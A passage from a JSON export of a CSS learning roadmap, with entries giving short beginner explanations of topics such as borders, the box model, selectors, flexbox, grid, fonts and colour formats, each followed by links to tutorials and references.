    "content": "# Border\n\nIn CSS, the `border` property defines the line that surrounds an HTML element's content and padding. It controls the border's style (like solid, dashed, or dotted), width (thickness), and color. You can set all these properties at once using the shorthand `border` property, or individually using `border-style`, `border-width`, and `border-color`.\n\nVisit the following resources to learn more:\n\n- [@article@Border](https://developer.mozilla.org/en-US/docs/Web/CSS/border)\n- [@article@Learn CSS borders in 4 minutes!](https://www.youtube.com/watch?v=pkNdQ7TmxIw)"
  },
  {
    "path": "src/data/roadmaps/css/content/box-model@AJR5CRYOedHzJ20hROIjo.md",
    "content": "# Box Model\n\nThe CSS box model describes how elements on a webpage are structured as rectangular boxes. Each box consists of content (text, images, etc.), padding (space around the content), a border (a line around the padding and content), and a margin (space around the border). Understanding the box model is crucial for controlling the size and spacing of elements on a webpage.\n\nVisit the following resources to learn more:\n\n- [@article@The box model](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/Box_model)\n- [@video@Learn CSS Box Model In 8 Minutes](https://www.youtube.com/watch?v=rIO5326FgPE)"
  },
  {
    "path": "src/data/roadmaps/css/content/box-shadows@jPSQNDH4UpmVoLEf6RIjy.md",
    "content": "# Box Shadows\n\nBox shadows in CSS are visual effects that add depth and dimension to elements by creating a shadow around their frames. These shadows can be customized in terms of color, offset (horizontal and vertical distance), blur radius, and spread radius, allowing designers to simulate various lighting conditions and create visually appealing interfaces. Box shadows can be applied to almost any HTML element, enhancing the user experience by highlighting important elements or adding a subtle sense of realism.\n\nVisit the following resources to learn more:\n\n- [@article@Box Shadows](https://developer.mozilla.org/en-US/docs/Web/CSS/box-shadow)\n- [@video@CSS Box-Shadow tutorial: the basics](https://www.youtube.com/watch?v=-JNRQ5HjNeI)"
  },
  {
    "path": "src/data/roadmaps/css/content/cascading-order@Y4ODIPSKsWg0k1K5rHVh7.md",
    "content": "# Cascading Order\n\nCascading order in CSS determines which styles are applied to an element when multiple conflicting rules target the same element. It's a set of rules that browsers follow to resolve these conflicts, prioritizing styles based on factors like importance, specificity, and source order. Understanding the cascading order is crucial for predicting and controlling how styles are applied to your web pages.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to the CSS cascade](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_cascade/Cascade)\n- [@article@Handling conflicts](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/Handling_conflicts)"
  },
  {
    "path": "src/data/roadmaps/css/content/child@UojAVB7wZgGhLd9r8ZVYF.md",
    "content": "# Child Combinator\n\nThe child combinator selector in CSS allows you to target elements that are direct children of a specified parent element. It uses the `>` symbol to denote this direct parent-child relationship. This selector ensures that styles are only applied to elements that are immediately nested within the parent, ignoring any deeper descendants.\n\nVisit the following resources to learn more:\n\n- [@article@Child combinator](https://developer.mozilla.org/en-US/docs/Web/CSS/Child_combinator)\n- [@article@Child and Sibling Selectors](https://css-tricks.com/child-and-sibling-selectors/)"
  },
  {
    "path": "src/data/roadmaps/css/content/class@p3niPUep5J2h4x0tv4CLM.md",
    "content": "# Class Selectors\n\nClass selectors in CSS are used to select HTML elements based on the `class` attribute. They allow you to apply specific styles to elements that share a common class name. You define a class selector by using a period (`.`) followed by the class name.\n\nVisit the following resources to learn more:\n\n- [@article@Class selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/Class_selectors)\n- [@article@The Beginner's Guide to CSS Classes & .class Selectors](https://blog.hubspot.com/website/what-is-css-class)"
  },
  {
    "path": "src/data/roadmaps/css/content/color@lo6OuD5hsZ7_r01jp-u0U.md",
    "content": "# Color\n\nColor in CSS is used to specify the foreground color of text and other elements. It can be defined using various methods, including named colors (like \"red\" or \"blue\"), hexadecimal values (like \"#FF0000\"), RGB values (like \"rgb(255, 0, 0)\"), RGBA values (which include an alpha channel for transparency), HSL values (hue, saturation, lightness), and HSLA values (which include an alpha channel for HSL).\n\nVisit the following resources to learn more:\n\n- [@article@Text color](https://developer.mozilla.org/en-US/docs/Web/CSS/color)\n- [@article@CSS Font Color – How to Style Text in HTML](https://www.freecodecamp.org/news/css-font-color-how-to-style-text-in-html/)"
  },
  {
    "path": "src/data/roadmaps/css/content/combinator-selectors@8xpK4SVUDvxil_hR-LaJ4.md",
    "content": "# Combinator Selectors\n\nCombinator selectors in CSS define the relationship between elements based on their position in the document's structure. They allow you to target elements that are descendants, children, adjacent siblings, or general siblings of another element. This provides a powerful way to apply styles based on the HTML hierarchy, going beyond simple class or ID targeting.\n\nVisit the following resources to learn more:\n\n- [@article@Combinators](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/Combinators)\n- [@video@Learn CSS combinators in 4 minutes!](https://www.youtube.com/watch?v=swZFmJsU54s)"
  },
  {
    "path": "src/data/roadmaps/css/content/comments@UKUulhLMTcmwi-jDDoGTp.md",
    "content": "# Comments\n\nComments in CSS are notes that you add to your code to explain what it does, or to temporarily disable parts of your code. Browsers ignore these comments, so they don't affect how your website looks. You create a CSS comment by starting with `/*` and ending with `*/`.\n\nVisit the following resources to learn more:\n\n- [@article@CSS Comments](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_syntax/Comments)\n- [@video@HTML & CSS for Absolute Beginners: HTML Comments](https://www.youtube.com/watch?v=NTlhOJIy8HY)"
  },
  {
    "path": "src/data/roadmaps/css/content/container-queries@IkN7i3ERk_lTOD0mBj3JO.md",
    "content": "# Container Queries\n\nContainer Queries are a CSS feature that allows styles to be applied to an element based on the size or other characteristics of its containing element, rather than the viewport. This enables more granular and context-aware styling, where components can adapt their appearance based on the space available within their parent container, leading to more flexible and reusable designs.\n\nVisit the following resources to learn more:\n\n- [@article@CSS container queries](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_containment/Container_queries)\n- [@article@CSS Container Queries Guide](https://css-tricks.com/css-container-queries/)\n- [@video@Master CSS container queries and boost your web design skills!](https://www.youtube.com/watch?v=8x8lxX5IGHY)"
  },
  {
    "path": "src/data/roadmaps/css/content/css-basics@hq4lsadaQAmTD6vBdmJ_W.md",
    "content": "# CSS Basics\n\nCSS Basics encompass the fundamental building blocks for styling web pages. This includes understanding selectors (how to target specific HTML elements), properties (the visual characteristics you want to change, like color or font size), and values (the specific settings for those properties, such as \"red\" or \"16px\"). Mastering these basics allows you to control the presentation of your website's content."
  },
  {
    "path": "src/data/roadmaps/css/content/css-functions@I1wmKcLyjQUiJXPtsGye7.md",
    "content": "# CSS Functions\n\nCSS functions are pre-defined operations that perform specific tasks within your CSS code. They allow you to manipulate values, perform calculations, and generate dynamic results, making your stylesheets more flexible and powerful. These functions are used within CSS property values to modify or create those values based on certain inputs.\n\nVisit the following resources to learn more:\n\n- [@article@CSS value functions](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Values_and_Units/CSS_Value_Functions)\n- [@article@Functions](https://web.dev/learn/css/functions)\n- [@article@Functions in CSS?!](https://css-tricks.com/functions-in-css/)\n- [@video@First look at FUNCTIONS in CSS!!!](https://www.youtube.com/watch?v=fhuYPNlBkyw)"
  },
  {
    "path": "src/data/roadmaps/css/content/css-in-js@UInkC4leVjIsSXPN1y62W.md",
    "content": "# CSS-in-JS\n\nCSS-in-JS is a technique where CSS styles are written with JavaScript instead of external CSS files. This approach allows you to use JavaScript's capabilities, like variables, logic, and component-based architecture, to manage and apply styles directly within your JavaScript code. It offers benefits such as scoped styling, dynamic styling based on component state, and easier management of complex CSS projects.\n\nVisit the following resources to learn more:\n\n- [@article@A Thorough Analysis of CSS-in-JS](http://css-tricks.com/a-thorough-analysis-of-css-in-js/)"
  },
  {
    "path": "src/data/roadmaps/css/content/css-modules@DjeaAmUlNtNV3f8W0-dKf.md",
    "content": "# CSS Modules\n\nCSS Modules are a system where CSS class names and animation names are scoped locally by default. This means that the class names you define in your CSS files are automatically transformed to be unique, preventing naming collisions and making it easier to manage styles in large projects. They offer a way to write modular and reusable CSS, ensuring that styles are applied only to the intended components.\n\nVisit the following resources to learn more:\n\n- [@article@What are CSS Modules and why do we need them?](https://css-tricks.com/css-modules-part-1-need/)\n- [@video@CSS Modules: Why are they great?](https://www.youtube.com/watch?v=pKMWU9OrA2s)"
  },
  {
    "path": "src/data/roadmaps/css/content/css-specificity@iLVla2ZPA3WlWFmP2sc6H.md",
    "content": "# CSS Specificity\n\nCSS Specificity is the set of rules that browsers use to determine which CSS declarations apply to an element when multiple conflicting rules exist. It's essentially a weighting system that prioritizes certain CSS selectors over others, ensuring that the most relevant style is applied. Understanding specificity is crucial for controlling how your CSS styles are applied and resolving unexpected styling issues.\n\nVisit the following resources to learn more:\n\n- [@article@Specificity](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_cascade/Specificity)\n- [@video@CSS Specificity explained](https://www.youtube.com/watch?v=c0kfcP_nD9E)"
  },
  {
    "path": "src/data/roadmaps/css/content/css-units@ffhmG-be4Ct09eOxwzU9y.md",
    "content": "# CSS Units\n\nCSS units define the size of elements and properties in a webpage. They specify how measurements like width, height, font size, and margins are interpreted by the browser. These units can be absolute, like pixels (px) or centimeters (cm), or relative, like em, rem, or viewport units (vw, vh), allowing for flexible and responsive layouts that adapt to different screen sizes and resolutions.\n\nVisit the following resources to learn more:\n\n- [@article@CSS Units](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Styling_basics/Values_and_units)\n- [@video@Learn CSS Units In 8 Minutes](https://www.youtube.com/watch?v=-GR52czEd-0)"
  },
  {
    "path": "src/data/roadmaps/css/content/css-variables@WGR5E9CXsZCxIhwZyCSKq.md",
    "content": "# CSS Variables\n\nCSS Variables, also known as custom properties, are entities defined by CSS authors that contain specific values to be reused throughout a stylesheet. They allow you to store a value in one place and then reference it in multiple other places, making it easier to maintain and update your CSS code. This promotes consistency and reduces repetition, leading to more efficient and manageable stylesheets.\n\nVisit the following resources to learn more:\n\n- [@article@Using CSS custom properties (variables)](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_cascading_variables/Using_CSS_custom_properties)\n- [@article@How to use CSS variables like a pro](https://blog.logrocket.com/how-to-use-css-variables/)\n- [@video@Learn CSS Variables In 7 Minutes](https://www.youtube.com/watch?v=5wLrz_zUwoU)"
  },
  {
    "path": "src/data/roadmaps/css/content/css@9ZUXy6s9IAIEM5GHk_bXR.md",
    "content": "# CSS\n\nCSS (Cascading Style Sheets) is a language used to describe the presentation of a document written in HTML or XML. It controls the layout, colors, fonts, and other visual aspects of web pages, ensuring a consistent and visually appealing user experience across different devices and screen sizes. Essentially, CSS separates the content of a webpage from its design, making websites easier to maintain and update.\n\nVisit the following resources to learn more:\n\n- [@course@Responsive Web Design Certification - Co-Learn HTML & CSS with guided projects](https://www.freecodecamp.org/learn/responsive-web-design-v9/)\n- [@course@Web.dev by Google — Learn CSS](https://web.dev/learn/css/)\n- [@article@Visit Dedicated JavaScript Roadmap](https://roadmap.sh/css)\n- [@video@CSS Complete Course](https://www.youtube.com/watch?v=n4R2E7O-Ngo)\n- [@video@HTML & CSS Full Course - Beginner to Pro](https://www.youtube.com/watch?v=G3e-cpL7ofc)\n- [@feed@Explore top posts about CSS](https://app.daily.dev/tags/css?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/css/content/declaration@GULUvSWLu8sPRuH0Xnbi5.md",
    "content": "# Declaration\n\nA declaration in CSS is a single statement that specifies a property you want to style and the value you want to assign to that property. It's the fundamental building block for applying styles to HTML elements. Each declaration consists of a property name (like `color` or `font-size`), followed by a colon (`:`), and then a value (like `red` or `16px`). Declarations are always placed inside a CSS rule set, within the curly braces `{}`.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to CSS syntax: declarations, rulesets, and statements](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_syntax/Syntax)"
  },
  {
    "path": "src/data/roadmaps/css/content/descendant@HB0GXMRA87a-NWv6JXxWg.md",
    "content": "# Descendant Combinator\n\nThe descendant combinator in CSS is a way to select HTML elements that are descendants of another element. It uses a single space (\" \") between two selectors. The selector on the right side of the space will select all elements that are descendants (children, grandchildren, etc.) of the element specified by the selector on the left side.\n\nVisit the following resources to learn more:\n\n- [@article@Descendant combinator](https://developer.mozilla.org/en-US/docs/Web/CSS/Descendant_combinator)\n- [@article@Descendant](https://css-tricks.com/almanac/selectors/d/descendant/)"
  },
  {
    "path": "src/data/roadmaps/css/content/direction@ZyqKZMIkQ22ysFqmhL3ZN.md",
    "content": "# Direction\n\nThe `direction` property in CSS sets the text direction of block-level elements, influencing how text, table columns, and inline-level boxes flow. While `direction` can be used to switch between left-to-right (LTR) and right-to-left (RTL) layouts, it's generally better to use the HTML `dir` global attribute. The `dir` attribute semantically indicates the document's or element's text direction, providing better accessibility and separation of concerns compared to styling direction with CSS.\n\nVisit the following resources to learn more:\n\n- [@article@CSS Direction](https://developer.mozilla.org/en-US/docs/Web/CSS/direction)\n- [@article@HTML dir global attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Global_attributes/dir)\n- [@video@CSS for beginners 60: direction property](https://www.youtube.com/watch?v=LM0yIWmP62Q)\n- [@video@HTML Global Attributes - dir Attribute](https://www.youtube.com/watch?v=6hqHM7Ez_Xg)"
  },
  {
    "path": "src/data/roadmaps/css/content/display@SSAhePvKuRJU4TQw5NuVZ.md",
    "content": "# Display\n\nThe `display` property in CSS controls how an element is rendered on a webpage, specifically defining its box type and how it interacts with other elements. It determines whether an element is treated as a block-level element (taking up the full width available), an inline element (flowing within the text), or something else entirely, like a table or a grid container. This property is fundamental for controlling the layout and structure of web pages.\n\nVisit the following resources to learn more:\n\n- [@article@Display](https://developer.mozilla.org/en-US/docs/Web/CSS/display)\n- [@video@Learn CSS display property in 4 minutes!](https://www.youtube.com/watch?v=9T8uxp5hQ60)"
  },
  {
    "path": "src/data/roadmaps/css/content/element@FKQcANNYYf-kYQj-kyKL_.md",
    "content": "# Element Selectors\n\nElement selectors in CSS target HTML elements directly by their tag name. They allow you to apply styles to all occurrences of a specific element, such as all `<p>` (paragraph) or `<h1>` (heading) tags on a webpage. This is the most basic type of selector and provides a straightforward way to style common HTML elements.\n\nVisit the following resources to learn more:\n\n- [@article@CSS selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_selectors)\n- [@article@CSS Selectors Cheat Sheet](https://www.sitepoint.com/css-selectors/)"
  },
  {
    "path": "src/data/roadmaps/css/content/external-css@kis-VQIdFVywHhBPr8tLY.md",
    "content": "# External CSS\n\nExternal CSS involves writing CSS rules in a separate file (with a `.css` extension) and then linking that file to your HTML document. This approach promotes cleaner code, easier maintenance, and reusability of styles across multiple web pages. By separating the styling from the content, you can modify the look and feel of your website without altering the HTML structure.\n\nVisit the following resources to learn more:\n\n- [@article@Types of CSS: inline, external and internal definitions and differences explained](https://www.hostinger.com/tutorials/difference-between-inline-external-and-internal-css)\n- [@video@External Style Sheets | CSS](https://www.youtube.com/watch?v=2P_LUPc2HrM)"
  },
  {
    "path": "src/data/roadmaps/css/content/fixed@eL0kdDRPnwpCU_FWKDPkD.md",
    "content": "# Fixed Positioning\n\nFixed positioning in CSS allows an element to be locked in place relative to the browser window. This means that even when the user scrolls the page, the element remains visible in the same location on the screen. It's often used for navigation bars, footers, or other elements that need to stay persistent.\n\nVisit the following resources to learn more:\n\n- [@article@CSS position deep dive](https://www.youtube.com/watch?v=fF_NVrd1s14)"
  },
  {
    "path": "src/data/roadmaps/css/content/flexbox@Xa8oKhrZ2Y_Fsx3PjdMrt.md",
    "content": "# Flexbox\n\nFlexbox is a CSS layout model that provides an efficient way to arrange, align, and distribute space among items in a container, even when their size is unknown or dynamic. It simplifies the creation of complex layouts by offering powerful tools for controlling the direction, order, size, and alignment of elements within a container. Flexbox is particularly useful for designing responsive and adaptable user interfaces.\n\nVisit the following resources to learn more:\n\n- [@article@Flexbox](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/CSS_layout/Flexbox)\n- [@article@CSS Flexbox Layout Guide](https://css-tricks.com/snippets/css/a-guide-to-flexbox/)\n- [@video@Learn CSS Flexbox in 20 Minutes (Course)](https://www.youtube.com/watch?v=wsTv9y931o8)"
  },
  {
    "path": "src/data/roadmaps/css/content/floating-elements@-uEIqIN1xxqlQzOmVgVUc.md",
    "content": "# Floating Elements\n\nFloating elements in CSS allow you to take an element out of the normal document flow and position it to the left or right of its containing element. Other content will then flow around the floated element. This technique is commonly used to create layouts where text wraps around images or to position elements side-by-side.\n\nVisit the following resources to learn more:\n\n- [@article@Floating elements](https://developer.mozilla.org/en-US/docs/Web/CSS/float)\n- [@video@Learn CSS float in 4 minutes! 🎈](https://www.youtube.com/watch?v=oJe8G5XT_v4)"
  },
  {
    "path": "src/data/roadmaps/css/content/flow-layout@U34z2pZgkH8NqiXMr5iuI.md",
    "content": "# Flow Layout\n\nFlow layout is the default way elements are positioned on a webpage. Elements are displayed one after another, like words in a sentence, following the natural flow of the HTML. Block-level elements take up the full width available and start on a new line, while inline elements flow within the content, only taking up the space they need.\n\nVisit the following resources to learn more:\n\n- [@article@CSS flow layout](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_display/Flow_layout)\n- [@article@Block and inline layout in normal flow](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_display/Block_and_inline_layout_in_normal_flow)\n- [@article@Flow layout and writing modes](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_display/Flow_layout_and_writing_modes)\n- [@video@CSS website layout in 9 minutes! 🗺️](https://www.youtube.com/watch?v=Hsu8uqQTSV8)"
  },
  {
    "path": "src/data/roadmaps/css/content/font-families@LZZheBKkxXSVwyW4hSCw5.md",
    "content": "# Font Families\n\nFont families in CSS are a way to specify the typeface used to display text on a webpage. They allow you to define a prioritized list of fonts, so if the user's computer doesn't have the first font available, the browser will try the next one in the list, and so on. This ensures that text is always displayed in a readable font, even if the preferred font isn't available.\n\nVisit the following resources to learn more:\n\n- [@article@Font Families](https://developer.mozilla.org/en-US/docs/Web/CSS/font-family)\n- [@article@CSS Fonts](https://www.w3schools.com/css/css_font.asp)"
  },
  {
    "path": "src/data/roadmaps/css/content/font-shorthand@KZ-B_6zH3gkJhFFL_yRSm.md",
    "content": "# Font Shorthand\n\nThe font shorthand property in CSS provides a way to set multiple font-related properties in a single declaration. Instead of specifying `font-style`, `font-variant`, `font-weight`, `font-size`, `line-height`, and `font-family` individually, you can use the `font` property to define them all at once, making your stylesheets more concise and readable.\n\nVisit the following resources to learn more:\n\n- [@article@font shorthand](https://developer.mozilla.org/en-US/docs/Web/CSS/font)"
  },
  {
    "path": "src/data/roadmaps/css/content/font-size@X2aBWF0Dl88M-dULDSL9J.md",
    "content": "# Font Size\n\nFont size in CSS determines the size of the text on a webpage. It's a fundamental property that controls the visual prominence and readability of text elements. You can specify font sizes using various units like pixels (px), ems (em), rems (rem), percentages (%), and viewport units (vw, vh). Choosing the right font size is crucial for creating a visually appealing and accessible design.\n\nVisit the following resources to learn more:\n\n- [@article@font-size](https://developer.mozilla.org/en-US/docs/Web/CSS/font-size)\n- [@video@CSS Tutorial For Beginners - Font Size](https://www.youtube.com/watch?v=799zrGVpfA8)"
  },
  {
    "path": "src/data/roadmaps/css/content/font-style@Ha84l1MXtbuSrUeQxRq7g.md",
    "content": "# Font Style\n\nFont style in CSS is used to select the appearance of a font, primarily to italicize or oblique text. It allows you to specify whether a font should be displayed in its normal, italic, or oblique version. This property is useful for emphasizing text or creating a visual distinction within a design.\n\nVisit the following resources to learn more:\n\n- [@article@font-style](https://developer.mozilla.org/en-US/docs/Web/CSS/font-style)"
  },
  {
    "path": "src/data/roadmaps/css/content/font-variant@mGYDsQ1QzimmO3U1CnJUu.md",
    "content": "# Font Variant\n\nFont variant in CSS allows you to control the display of different variations of a font, such as small caps, oldstyle numerals, and alternate glyphs. It provides a way to access OpenType features within a font, enabling richer typographic control beyond basic font styling like size and weight. This property offers a shorthand for setting several more specific font variant properties.\n\nVisit the following resources to learn more:\n\n- [@article@Font variant](https://developer.mozilla.org/en-US/docs/Web/CSS/font-variant)\n- [@article@CSS font-variant Property](https://www.w3schools.com/cssref/pr_font_font-variant.php)"
  },
  {
    "path": "src/data/roadmaps/css/content/font-weight@jV9oHJdtocQzzALylaFnA.md",
    "content": "# Font Weight\n\nFont weight refers to the thickness or boldness of characters in a typeface. In CSS, it's a property that allows you to specify how heavy or light the font should appear. Values can be numeric (like 100, 400, 700) or descriptive (like `normal`, `bold`, `lighter`, `bolder`), offering control over the visual emphasis of text.\n\nVisit the following resources to learn more:\n\n- [@article@Font Weight](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/font-weight)\n- [@article@An Introduction to HTML/CSS Font Weight](https://www.udacity.com/blog/2021/01/html-css-font-weight.html)\n- [@article@CSS font-weight Property](https://www.w3schools.com/cssref/pr_font_weight.php)\n- [@video@CSS Tutorial For Beginners 30 - Font Weight](https://www.youtube.com/watch?v=qeh4UeaGTnc)"
  },
  {
    "path": "src/data/roadmaps/css/content/frontend-development@zW49OvVO-kLh0M4JCE4_w.md",
    "content": "# Frontend Development\n\nFrontend development involves crafting the user interface and user experience of a website or web application. It focuses on the parts of a website that users directly interact with, such as buttons, text, images, and navigation. Frontend developers use languages like HTML, CSS, and JavaScript to build these interactive elements and ensure they function correctly across different browsers and devices.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the dedicated Frontend Roadmap](https://roadmap.sh/frontend)\n- [@article@Front-End Development: The Complete Guide](https://cloudinary.com/guides/front-end-development/front-end-development-the-complete-guide)\n- [@video@Frontend web development - a complete overview](https://www.youtube.com/watch?v=WG5ikvJ2TKA)"
  },
  {
    "path": "src/data/roadmaps/css/content/google-fonts@1-agoKIdWelaazIOe3haM.md",
    "content": "# Google Fonts\n\nGoogle Fonts is a free library of over a thousand different font families that you can easily use on your website. Instead of relying on the limited set of fonts that come pre-installed on a user's computer, you can link to Google's servers and use any font they offer. This allows for greater design flexibility and ensures that your website's typography looks consistent across different devices and operating systems.\n\nVisit the following resources to learn more:\n\n- [@article@Using web fonts](https://fonts.google.com/knowledge/using_type/using_web_fonts)\n- [@article@CSS Google Fonts](https://www.w3schools.com/css/css_font_google.asp)\n- [@video@How to Add Google Fonts to Your Website Including Multiple Fonts](https://www.youtube.com/watch?v=is9Z5HriVtQ)"
  },
  {
    "path": "src/data/roadmaps/css/content/grid@6nemkEmghB_0SWBOHyI7a.md",
    "content": "# Grid Layout\n\nGrid Layout is a two-dimensional layout system for CSS, enabling you to control the placement and sizing of elements within a grid container. It divides a webpage into rows and columns, allowing precise positioning of content and creating complex layouts with ease. This method offers flexibility and control over element arrangement, surpassing traditional methods like floats or positioning.\n\nVisit the following resources to learn more:\n\n- [@article@CSS Grid Layout](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_grid_layout)\n- [@article@CSS Grid Layout Guide](https://css-tricks.com/snippets/css/complete-guide-grid/)\n- [@video@CSS Grid Intro and Basic Layout Tutorial for Beginners](https://www.youtube.com/watch?v=EaWj2AWI5Es)"
  },
  {
    "path": "src/data/roadmaps/css/content/grouping@TSItk9mQJphdRID9mgGwU.md",
    "content": "# Grouping Selectors\n\nGrouping selectors in CSS allows you to apply the same styles to multiple HTML elements simultaneously. Instead of writing the same CSS rules for each element individually, you can list the selectors separated by commas. This makes your CSS code more concise and easier to maintain, as you only need to define the styles once for all the grouped elements.\n\nVisit the following resources to learn more:\n\n- [@article@Grouping Multiple CSS Selectors](https://www.thoughtco.com/grouping-multiple-css-selectors-3467065)\n- [@article@Grouping Selectors in CSS](https://www.tutorialspoint.com/grouping-selectors-in-css)"
  },
  {
    "path": "src/data/roadmaps/css/content/hex@ZlU2dJj5myMd3hOc4ycOi.md",
    "content": "# Hex Colors\n\nHex colors in CSS are a way to specify colors using hexadecimal values. They use a six-digit code, prefixed with a hash symbol (#), to represent the red, green, and blue components of a color. Each pair of digits represents the intensity of one of these primary colors, ranging from 00 (lowest intensity) to FF (highest intensity). For example, #FF0000 is red, #00FF00 is green, and #0000FF is blue.\n\nVisit the following resources to learn more:\n\n- [@article@hex color](https://developer.mozilla.org/en-US/docs/Web/CSS/hex-color)\n- [@video@CSS - Colors Hex - W3Schools.com](https://www.youtube.com/watch?v=LLmCr_201GU)"
  },
  {
    "path": "src/data/roadmaps/css/content/hsl@GA3Rqg75oRZgFYi2ZzLH6.md",
    "content": "# HSL Colors\n\nHSL (Hue, Saturation, Lightness) is a way to define colors in CSS using three components: Hue, which represents the color type on a color wheel (0-360 degrees); Saturation, which indicates the intensity of the color (0-100%); and Lightness, which determines how bright or dark the color is (0-100%). This model offers a more intuitive way to adjust colors compared to RGB, allowing developers to easily create variations of a color by modifying its hue, saturation, or lightness values.\n\nVisit the following resources to learn more:\n\n- [@article@hsl function](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/hsl)\n- [@article@CSS HSL Colors](https://www.w3schools.com/css/css_colors_hsl.asp)\n- [@video@How to Create RELATIVE Colors with hsl(from...) CSS Tutorial](https://www.youtube.com/watch?v=TI-OVY11HD4)"
  },
  {
    "path": "src/data/roadmaps/css/content/html@6OjCZPf10yJqNIdFkI4l-.md",
    "content": "# HTML\n\nHTML (HyperText Markup Language) is the standard markup language for creating web pages. It provides the structure and content of a website, using elements to define headings, paragraphs, images, links, and other components that are displayed in a web browser. HTML forms the foundation upon which CSS and JavaScript build to create visually appealing and interactive web experiences.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the dedicated HTML roadmap](https://roadmap.sh/html)\n- [@article@Responsive Web Design Certification - Co-Learn HTML & CSS with guided projects](https://www.freecodecamp.org/learn/2022/responsive-web-design/)\n- [@video@HTML Full Course for Beginners](https://www.youtube.com/watch?v=mJgBOIoGihA)\n- [@video@HTML Full Course - Build a Website Tutorial](https://www.youtube.com/watch?v=pQN-pnXPaVg)\n- [@feed@Explore top posts about HTML](https://app.daily.dev/tags/html?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/css/content/id@U6dcnopmzzsppCQ9uy8E-.md",
    "content": "# ID Selectors\n\nID selectors in CSS are used to style a single, unique element on a webpage. They target an HTML element based on the value of its `id` attribute. An ID selector is denoted by a hash symbol (`#`) followed by the ID value.\n\nVisit the following resources to learn more:\n\n- [@article@ID Selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/ID_selectors)"
  },
  {
    "path": "src/data/roadmaps/css/content/images-and-filters@kcfgt2pu3MCsgki391tpa.md",
    "content": "# Images and Filters\n\nCSS allows you to incorporate images into your web designs and manipulate their appearance. You can use CSS to control image size, positioning, and how they interact with surrounding content. Additionally, CSS filters enable the direct application of visual effects, such as blurring, color adjustments, and transformations, to images, thereby enhancing their aesthetic appeal without requiring external image editing software.\n\nVisit the following resources to learn more:\n\n- [@article@CSS images](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_images)\n- [@article@CSS filter effects](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_filter_effects)\n- [@video@Dabbling with CSS Filters and Blending Effects](https://www.youtube.com/watch?v=-jy7dac750Q)\n- [@video@CSS Background Images and Responsive Image Properties for Beginners](https://www.youtube.com/watch?v=cLyzBfXI0I0)"
  },
  {
    "path": "src/data/roadmaps/css/content/inline-block@cQ4FdKzwvMu5FD0Xk-U73.md",
    "content": "# Inline-Block\n\n`inline-block` is a value for the CSS `display` property. It allows an element to flow like an inline element (sitting on the same line as other content) but also allows you to set its width and height, similar to a block-level element. This combines the benefits of both `inline` and `block` elements.\n\nVisit the following resources to learn more:\n\n- [@article@CSS display: inline-block](https://www.w3schools.com/css/css_inline-block.asp)\n- [@video@Block, Inline, and Inline-Block explained | CSS Tutorial](https://www.youtube.com/watch?v=x_i2gga-sYg)"
  },
  {
    "path": "src/data/roadmaps/css/content/inline-css@B0JUjbCN35MMGtFb5sCyB.md",
    "content": "# Inline CSS\n\nInline CSS involves directly embedding CSS styles within HTML elements using the `style` attribute. This method applies styles to individual elements, overriding external stylesheets or embedded styles. While offering quick and localized styling, it's generally discouraged for larger projects due to maintainability issues and separation of concerns.\n\nVisit the following resources to learn more:\n\n- [@article@Inline Style in HTML – CSS Inline Styles](https://www.freecodecamp.org/news/inline-style-in-html/)"
  },
  {
    "path": "src/data/roadmaps/css/content/inline@Jipq1yvlLNL0TbsVImCDk.md",
    "content": "# Inline Display\n\nThe `display: inline` property in CSS is used to specify that an element should be displayed as an inline element. Inline elements flow along with the surrounding content, similar to how text flows within a paragraph. They only take up as much width as necessary to contain their content, and the width and height properties do not affect them.\n\nVisit the following resources to learn more:\n\n- [@article@Block and inline layout in normal flow](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_display/Block_and_inline_layout_in_normal_flow)\n- [@video@Block, Inline, and Inline-Block explained | CSS Tutorial](https://www.youtube.com/watch?v=x_i2gga-sYg)"
  },
  {
    "path": "src/data/roadmaps/css/content/internal-css@gARjh5W-R_93_WeS8xxwe.md",
    "content": "# Internal CSS\n\nInternal CSS involves embedding CSS rules directly within an HTML document. This is achieved by using the `<style>` tag, typically placed inside the `<head>` section of the HTML file. The CSS rules defined within the `<style>` tag will then be applied to the elements within that specific HTML document.\n\nVisit the following resources to learn more:\n\n- [@article@Internal CSS](https://codeinstitute.net/global/blog/internal-css/)\n- [@video@How to Use Internal CSS [CSS Tutorials for Beginners]](https://www.youtube.com/watch?v=o2hQUHGueXY)"
  },
  {
    "path": "src/data/roadmaps/css/content/introduction@eR9zEKc2xQtOPNjOgke4_.md",
